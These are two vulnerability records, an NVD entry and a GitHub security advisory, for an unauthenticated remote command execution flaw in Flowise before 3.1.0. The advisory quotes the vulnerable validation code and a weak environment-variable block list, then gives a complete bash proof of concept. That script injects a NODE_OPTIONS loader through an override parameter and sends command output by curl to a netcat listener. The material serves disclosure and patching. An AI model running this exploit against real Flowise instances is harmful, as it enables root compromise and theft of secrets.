{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CB30DB8F-4F72-4FD3-90FB-8331F1CBB78E",
              "versionEndExcluding": "3.1.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.0, Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODE_OPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance. This vulnerability is fixed in 3.1.0."
    }
  ],
  "id": "CVE-2026-41268",
  "lastModified": "2026-04-24T15:14:39.110",
  "metrics": {
    "cvssMetricV30": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
          "version": "3.0"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-04-23T20:16:15.300",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cvrr-qhgw-2mm6"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cvrr-qhgw-2mm6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:46:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFlowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the `FILE-STORAGE::` keyword combined with a `NODE_OPTIONS` environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.\n\n### Details\n\nThe vulnerability is in a validation check within the `replaceInputsWithConfig` function within `packages/server/src/utils/index.ts`. The check for `FILE-STORAGE::` was intended to handle file-type inputs but has three issues:\n\n1. Uses\u00a0.includes()\u00a0instead of\u00a0.startsWith(): The check passes if\u00a0FILE-STORAGE::\u00a0appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment:\u00a0/* FILE-STORAGE:: */ { custom config }\n\n2. No parameter type validation: The check doesn\u0027t verify that the parameter is actually a file-type input. It applies to ANY parameter name, including\u00a0mcpServerConfig.\n\n3. Complete bypass, not partial: When the check passes, it skips the\u00a0isParameterEnabled()\u00a0call entirely, allowing modification of parameters that administrators never authorized.\n\n**Vulnerable Code (`FILE-STORAGE::` bypass):**\n```typescript\n// packages/server/src/utils/index.ts, line 1192-1198\n// Skip if it is an override \"files\" input, such as pdfFile, txtFile, etc\nif (typeof overrideConfig[config] === \u0027string\u0027 \u0026\u0026 overrideConfig[config].includes(\u0027FILE-STORAGE::\u0027)) {\n    // pass  \u003c-- BYPASSES ALL VALIDATION\n} else if (!isParameterEnabled(flowNodeData.label, config)) {\n    // Only proceed if the parameter is enabled\n    continue\n}\n```\n\nThis bypass allows an attacker to override the `mcpServerConfig` and inject a malicious `NODE_OPTIONS` value. The `Custom MCP` node\u0027s environment variable blocklist does not include `NODE_OPTIONS`, enabling an attacker to use the `--experimental-loader` to execute arbitrary JavaScript code before the main process starts.\n\n**Vulnerable Code (`NODE_OPTIONS` not blocked):**\n```typescript\n// packages/components/nodes/tools/MCP/core.ts, line 248-254\nconst dangerousEnvVars = [\u0027PATH\u0027, \u0027LD_LIBRARY_PATH\u0027, \u0027DYLD_LIBRARY_PATH\u0027]\n\nfor (const [key, value] of Object.entries(env)) {\n    if (dangerousEnvVars.includes(key)) {\n        throw new Error(`Environment variable \u0027${key}\u0027 modification is not allowed`)\n    }\n}\n```\n\n### Requirements\n\n**API Override Enabled**\nThe chatflow must have \"API Override\" toggled ON in Chatflow Configuration.\n**Public Chatflow**\nThe chatflow must be shared publicly.\n**MCP Node**\nThe chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).\n\nAlthough not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.\n\nCommon use cases that necessitate enabling this feature include:\n\n*   **Session Management:** Passing a unique `sessionId` or `chatId` for each user to maintain separate conversation histories.\n*   **User-Specific Variables:** Injecting user data such as name, preferences, or role into prompts to create personalized experiences.\n*   **Dynamic Tool Selection:** Allowing users to specify which data sources or APIs to query based on their needs.\n*   **Multi-Tenant Applications:** Supporting different configurations for each customer or organization without deploying separate chatflows.\n*   **A/B Testing:** Evaluating different prompts or models in a live environment.\n\n### Setup\n\nTo reproduce the vulnerability, follow these steps:\n\n**Step 1: Start Flowise Instance**\n\n```bash\ndocker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest\n```\n\n**Step 2: Configure a Public Chatflow with MCP Tool**\n\n1.  Navigate to `http://localhost:3000` and create an account.\n2.  Create a new chatflow.\n3.  Add a `Custom MCP` node and a `Custom JS Function` node.\n4.  Connect the `Custom MCP` output to the `Custom JS Function`\u0027s tools input.\n5.  Configure the `Custom JS Function` to be an `Ending Node` with the code: `return $tools ? \"Tools loaded\" : \"No tools\";`\n6.  Configure the `Custom MCP` with the MCP Server Config: `{\"command\":\"npx\",\"args\":[\"-y\",\"@modelcontextprotocol/server-everything\"]}`\n7.  Save the chatflow and note the `chatflowId` from the URL.\n8.  In Chatflow Configuration, **enable API Override** and make the chatflow **Public**.\n\n### PoC\n\nSingle-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:\n\n#### Step 1: Setup Listener\n```bash\n# Start netcat listener to receive transmitted data\n# Note: If testing locally, run this in a separate terminal\nnc -lvnp 5000\necho \"Listener started on port 5000...\"\n```\n\n#### Step 2: Trigger Exploit\n```bash\n#!/bin/bash\n\nCHATFLOW_ID=\"ABC-123-...\"\nTARGET=\"http://localhost:3000\"\nLISTENER_IP=\"172.17.0.1\" # Docker local IP for testing\n\n# Payload: Execute commands and transmit output to remote listener\nLOADER_CODE=\u0027import{execSync}from\"child_process\";const cmd=\"id \u0026\u0026 pwd \u0026\u0026 ls\";const out=execSync(cmd).toString();try{execSync(\"curl -s -m 3 --data-binary \\\"\"+out+\"\\\" http://\u0027$LISTENER_IP\u0027:5000\");}catch(e){}export{};\u0027\n\nENCODED=$(echo -n \"$LOADER_CODE\" | base64 | tr -d \u0027\\n\u0027)\n\n# Construct the crafted MCP config\nCONFIG=\u0027{\"command\":\"npx\",\"args\":[\"-y\",\"@modelcontextprotocol/server-everything\"],\"env\":{\"NODE_OPTIONS\":\"--experimental-loader data:text/javascript;base64,\u0027$ENCODED\u0027\"}}\u0027\nCONFIG_ESCAPED=$(echo \"$CONFIG\" | sed \u0027s/\"/\\\\\"/g\u0027)\n\n# Single request triggers RCE\ncurl -X POST \"$TARGET/api/v1/prediction/$CHATFLOW_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"question\\\": \\\"trigger\\\",\n    \\\"overrideConfig\\\": {\n      \\\"mcpServerConfig\\\": \\\"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\\\"\n    }\n  }\"\n```\n\n#### Step 3: Verify Command Execution\n```\n# Check the listener output\nConnection received...\nPOST / HTTP/1.1\nHost: 172.17.0.1:5000\nUser-Agent: curl/8.17.0\nAccept: */*\nContent-Length: 214\nContent-Type: application/x-www-form-urlencoded\n\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/\nbin\ndev\netc\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n```\n\n### Impact\n\nThis vulnerability allows for:\n\n*   **Full Container Compromise:** Arbitrary command execution as the root user.\n*   **Data Exfiltration:** Access to all secrets, credentials, and user data within the container.\n*   **Lateral Movement:** A pivot point for attacking internal networks and other connected systems.\n\nThe exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.\n\n### Credit\n\nJeremy Brown",
  "id": "GHSA-cvrr-qhgw-2mm6",
  "modified": "2026-04-16T21:46:39Z",
  "published": "2026-04-16T21:46:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cvrr-qhgw-2mm6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise: Parameter Override Bypass Remote Command Execution"
}